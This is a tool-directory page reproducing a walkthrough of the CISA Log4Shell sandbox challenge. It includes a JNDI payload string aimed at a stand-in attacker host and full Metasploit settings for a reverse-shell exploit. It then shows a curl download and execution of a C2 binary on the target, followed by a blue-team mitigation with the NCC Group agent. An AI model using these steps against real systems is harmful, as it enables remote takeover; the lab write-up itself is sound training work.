Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Sandbox-Challenge-Log4Shell-CVE-2021-44228- — Step-by-step walkthrough of the CISA Log4Shell sandbox challenge, covering offensive exploitation via Metasploit and defensive mitigation using a JNDI-be-gone Java agent. | Kitploit
Tools/GitHubGitHub/felisha-elmer/sandbox-challenge-log4shell-cve-2021-44228-
Defensive ToolsVulnerability AnalysisExploitationPenetration TestingLearning & EducationRed TeamingIncident ResponseLabs & Practice
Share
GitHub
felisha-elmer/sandbox-challenge-log4shell-cve-2021-44228-

Sandbox-Challenge-Log4Shell-CVE-2021-44228-

Step-by-step walkthrough of the CISA Log4Shell sandbox challenge, covering offensive exploitation via Metasploit and defensive mitigation using a JNDI-be-gone Java agent.

View Repository
346 months agoNot yet reviewed

Sandbox Challenge: Log4Shell (CVE-2021-44228)

Overview

This walkthrough documents the steps taken to complete the CISA Threat Sandbox Challenge for CVE-2021-44228, commonly known as Log4Shell. The challenge involved completing two objectives — one red team (offensive) and one blue team (defensive) — against a fictional IT managed service provider (MSP) called DasMSP within an isolated sandbox environment.

Note: Commands and file paths in this walkthrough reflect the specific steps taken in this environment. Your environment may differ, including IP addresses, file locations, and tool availability. Adapt commands as needed for your configuration.


Background

CVE-2021-44228 is a critical remote code execution (RCE) vulnerability (CVSS 10.0) affecting specific versions of the Apache Log4j Java logging framework. The vulnerability arises from Log4j's JNDI lookup feature, which can be triggered by injecting a specially crafted string such as ${jndi:ldap://attacker.com/exploit} into any data that Log4j logs. If an attacker can get a vulnerable application to log a malicious string — commonly via HTTP headers — Log4j will reach out to the attacker-controlled server and execute arbitrary code.

Log4Shell was added to CISA's Known Exploited Vulnerabilities (KEV) Catalog on December 10, 2021, and appeared on the Top Routinely Exploited Vulnerabilities joint advisories for both 2021 and 2022.


Environment

MachineIP
Security-Desk<Security-Desk-IP>
Red Target<Red-Target-IP>
Blue Target<Blue-Target-IP>

Both target systems are Linux and run a vulnerable Java web application (dasmsp.jar) using an affected version of Log4j.


Tools Used

  • Metasploit Framework (exploit/multi/http/log4shell_header_injection)
  • curl
  • Python3 HTTP Server
  • SSH
  • SCP
  • systemctl
  • nano

Red Team Objective: Deploy C2 Listener on Red Target

Step 1 — Launch Metasploit

Opened a terminal on the Security-Desk and launched Metasploit:

msfconsole

Step 2 — Search for the Log4Shell Module

The module path provided in the briefing did not match the installed version. Searched for the correct module:

search log4shell

Identified the correct module: exploit/multi/http/log4shell_header_injection.

Step 3 — Configure the Exploit

use exploit/multi/http/log4shell_header_injection
set RHOSTS <Red-Target-IP>
set RPORT 80
set SRVHOST <Security-Desk-IP>
set PAYLOAD java/shell_reverse_tcp
set LHOST <Security-Desk-IP>

Step 4 — Run the Exploit

run

Metasploit automatically tested multiple HTTP headers for the Log4Shell vulnerability. The Red Target was confirmed vulnerable across multiple headers (Authorization, Cache-Control, User-Agent, X-Forwarded-For, and others). A command shell session was opened to the Red Target.

Step 5 — Verify Shell Access

Confirmed root-level access on the Red Target:

id

Output: uid=0(root) gid=0(root) groups=0(root)

Step 6 — Transfer and Execute deploy_c2

The deploy_c2 binary was located on the Security-Desk, not on the Red Target. Neither wget nor a direct path reference was available on the target. Opened a second terminal on the Security-Desk and served the file via Python:

cd ~/Desktop/Resources
python3 -m http.server 8080

Back in the Metasploit shell session on the Red Target, downloaded and executed the binary:

curl http://<Security-Desk-IP>:8080/deploy_c2 -o /tmp/deploy_c2
chmod +x /tmp/deploy_c2
/tmp/deploy_c2

Output: Done!

✅ C2 Listener Deployed on Red Target check confirmed.


Blue Team Objective: Mitigate CVE-2021-44228 on Blue Target

The mitigation method used is the log4j-jndi-be-gone-standalone.jar Java agent developed by NCC Group, which patches the JNDI lookup behavior at runtime without requiring a patch to the underlying application. Details about this agent can be found at the NCC Group research blog.

Step 1 — Transfer the Java Agent to the Blue Target

From the Security-Desk terminal, used SCP to transfer the Java agent JAR file:

scp ~/Desktop/Resources/log4j-jndi-be-gone-standalone.jar playerone@<Blue-Target-IP>:/tmp/

Step 2 — SSH into the Blue Target

ssh playerone@<Blue-Target-IP>

Step 3 — Edit the Service Unit File

sudo nano /etc/systemd/system/dasmsp.service

Located the ExecStart line and added the -javaagent flag:

Before:

ExecStart=/usr/lib/jvm/nvidia-java-8-openjdk-amd64/bin/java -jar /opt/dasmsp.jar

After:

ExecStart=/usr/lib/jvm/nvidia-java-8-openjdk-amd64/bin/java -javaagent:/tmp/log4j-jndi-be-gone-standalone.jar -jar /opt/dasmsp.jar

Saved with Ctrl+O → Enter → Ctrl+X.

Step 4 — Reload and Restart the Service

sudo systemctl daemon-reload
sudo systemctl restart dasmsp

✅ CVE-2021-44228 Mitigated on Blue Target check confirmed.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    938
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    556
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    352
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    343
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    336
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    291

Explore all tools

Browse our collection of tools

View all tools →